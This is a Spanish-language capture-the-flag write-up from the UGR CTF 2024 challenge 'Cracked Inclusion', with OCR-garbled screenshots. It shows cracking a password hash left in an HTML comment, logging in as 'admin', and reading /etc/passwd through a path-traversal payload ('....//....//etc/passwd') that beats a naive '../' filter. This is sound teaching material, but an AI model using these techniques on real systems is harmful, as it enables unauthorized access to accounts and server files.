

Cátedra de Ciberseguridad CiberUGR, INCIBE-UGR UGR CTF 2024 by jtsec



CÁTEDRA DE CIBERSEGURIDAD CIBERUGR, INCIBE-UGR

Nombre	Cracked Inclusion
Categoría	MISC (WEB + CRIPTO)
Dificultad	MEDIA
Puntos	300

DESCRIPCIÓN DEL RETO

Una empresa nos ha contratado para comprobar la seguridad de su sitio web. Ya hemos comprobado la parte pública que nos indicó, pero investigando hemos encontrado otra página privada para administradores. Cualquier persona podría encontrar esta página, así que debemos comprobar su seguridad también, pero primero tenemos que intentar iniciar sesión...

WRITEUP

1. Navegamos a la aplicación web y se nos redirecciona a "/login" donde hay un panel de inicio de sesión. Hacemos click derecho en la página web y le damos a "Inspeccionar" para ver si encontramos alguna información interesante. En el "Inspector" podemos ver el código HTML, CSS, etc. de la página web de "/login":

•		Admin Logi	n — Mozilla Firefox		
۵					~
	→ C @ 0 % 172.19.0.2	5000/login		<u>ନ</u> କ	_ ຄ ≡
"~, K	ali Linux 👩 Kali Tools 💆 Kali Docs 🔨 Kali Forums	Kali NetHunter 🛸 Exploit-DB 🛸 Google Hacking DB 🔒 OffSec			
	← → C ☆ Save Bage AL Save Page to Prodjet select All Take Screenhol Were Page Source Inspect Accessibility Properties Inspect Accessibility Properties	Admin Login		<pre>Construction: Construction: Constructio</pre>	0 ··· × + ≠
				Review → body	Channes -
			-	lement II { inline Flex Container	
) 5	ody [] { styles.cssl body @ fent-family: Arial, sans-serif: cod monopoly cod monopoly andgin: P0; Flexitoms adding: P0; Flexitoms display: Bfles; little later contained	•••
				justify-content: center; alion-itens: center; = Cold	

- 2. Podemos ver que hay un comentario cerca de los elementos del input que nos hace sospechar que puede ser un hash de la contraseña.
- 3. Copiamos el hash y lo metemos en Crackstation (https://crackstation.net/) (o lo podemos crackear con JohnTheRipper, Hashcat...), consiguiendo la string de la que se derivó el hash:













4. Volviendo al panel, vemos que es un panel de administración, por lo que podemos probar usuarios típicos como "admin", "Admin", "administrador"... El usuario "admin" nos sirve para iniciar sesión usando como contraseña el valor del que se derivó el hash:

4	Admin Login
🔒 ¡Acceso pe	rmitido solo a administradores! 🤒
Usuario:	
admin	
Contraseña:	
•••••	
	Iniciar sesión

5. Se nos redirige a "/dashboard". Aquí, hay otro formulario donde podemos introducir datos. Parece que el panel sirve para realizar peticiones a páginas internas por parte del servidor, pero quizás también sirve para acceder a archivos del servidor:















Cátedra de Ciberseguridad CiberUGR, INCIBE-UGR

UGR CTF 2024 by jtsec



🔍 Kali Linux 🔊 Kali Tools 🚊 Kali Docs 🔪 Kali Forums 🐟 Kali NetHunter 🛸 Exploit-DB 🛸	Google Hacking DB 🚦 OffSec	
	Welcome back to the administration panel	
	Try the connection to the internal page	
	internalPage.local	
	Logout	

6. Si ponemos "/etc/passwd" nos devolverá un error indicando que el nombre del recurso que estamos pidiendo no puede empezar por el carácter '/'.

We	lcome back to the administration panel	
	Try the connection to the internal page	
	/etc/passwd Connect	
	[ERROR] El nombre del recurso no puede empezar por '/'	
	Logout	

7. Si no puede empezar por / podemos probar a usar path traversing y acceder al mismo archivo escribiendo:

















Cátedra de Ciberseguridad CiberUGR, INCIBE-UGR

UGR CTF 2024 by jtsec



Welcome back to the administration panel

Try the connection to the internal p	age
///etc/passwd	Connect
[ERROR] No se ha encontrado el recurso:	etc/passwd
Logout	

8. Parece que está reemplazando las ocurrencias de '../' por una cadena vacía, es decir, borrando '../' cada vez que aparece en la cadena. Si borra cada ocurrencia de '../', podemos escribir '....//' en vez de '../' de manera que cada vez que el filtro se ejecute, borre la parte azul de '....//' y el resultado que recibe e interpreta el servidor sea '../../.etc/passwd'. Más concretamente, '....//etc' pasaría a ser '../etc'. Para acceder a '/etc/passwd' escribiremos: '....//....//etc/passwd'

Try the connection to the internal page ////etc/passwd connect root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:1p:/var/spool/pd:/sbin/nologin sync:x:5:0:sync:/sbin/bin/sbin/hologin lp:x:4:7:1p:/var/spool/pd:/sbin/nologin sync:x:5:0:sync:/sbin/hologin uucp:x:10:14:uucp:/var/mail/sbin/hologin news::y:13:news:/usr/lib/news:/sbin/nologin postmaster:x:14:12:postmaster:/var/mail/sbin/nologin sshd:x:22:22:sshd:/dev/nu /sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/nu /sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin squid:x::31:15:quid:/var/cache/squid:/sbin/nologin ftp:x:22:22:sshd:/dev/nu /sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin nobody:x:65534:65534:65534:nobody://sbin/nologin smmsp:x:209:209:smmsp:/var/spool/ /login abust:/login/main/sbin/nologin nobody:x:65534:65534:65534:nobody://sbin/nologin smmsp:x:209:209:smmsp:/var/spool/ /login abust:/login/stin/sbin/nologin nobody:x:65534:65534:65534:0body://sbin/nologin smmsp:x:209:209:smmsp:/var/spool/ /login abust:/login/stin/sbin/nologin nobody:x:65534:65534:0body://sbin/nologin/sbin/sbin/nologin nobody:x:65534:65534:0body://sbin/nologin/sbin/sbin/sbin/nologin nobody:x:65534:65534:0body://sbin/nologin/sbin/sbin/sbin/sbin/sbin/nologin/sbin/sbin/nologin nobody:x:65534:65534:0body://sbin/nologin/sbin/sbin/sbin/sbin/sbin/sbin/sbin/sb
////etc/passwd Connect root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:1p:/var/spool/lpd:/sbin/nologin sync::x:5:0:sync:/sbin:/bin/sbin/nologin witch:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0-halt:/sbin/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin sperator:x:11:0:operator:/ro /sbin/nologin man:x:13:15:man/usr/man./sbin/nologin postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin shd:x:22:22:sshd:/dev/nu /sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin shd:x:33:3:X Font Server:/etr /X11/fs:/sbin/nologin gues:x:35:35:games:/usr/games./sbin/nologi cyrus:x:85:12::/usr/cyrus:/sbin/nologi msmsp:x:209:209:smmsp:/var/spool/ntp:x:123:NTP:/var/spin/nologi msmsp:x:209:209:smmsp:/var/spool/ntp:x:25:34:nobody:/:/sbin/nologin nupueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologi ryt:23:12::NTP:/var/empty:/sbin/nologi ryt:23:123:NTP:/var/empty:/sbin/nologi ryt:23:23:NTP:/var/spool/stin/rologin ryt:23:23:NTP:/var/spool/stin/rologin ryt:23:23:NTP:/var/spool/stin/rologin ryt:23:23:NTP:/var/spool/stin/rologin ryt:23:23:NTP:/var/spool/stin/rologin ryt:23:23:NTP:/var/spool/stin/rologin
User,:/nome/naskUser:/dir/ash

GOBIERNO DE ESPAÑA Y DE LA FUNCIÓN PÚBLICA BICHIMA DE EMDO PORTALANTINGAL









Cátedra de Ciberseguridad CiberUGR, INCIBE-UGR



UGR CTF 2024 by jtsec

9. Si miramos el código de la página web (al igual que hicimos en la página de login), veremos que hay un elemento <meta> en el apartado de <head> que se llama pista y nos dice dónde está la flag:



10. Usamos el truco para bypassear el filtro y accedemos a la flag:

Welcome back to the administration panel











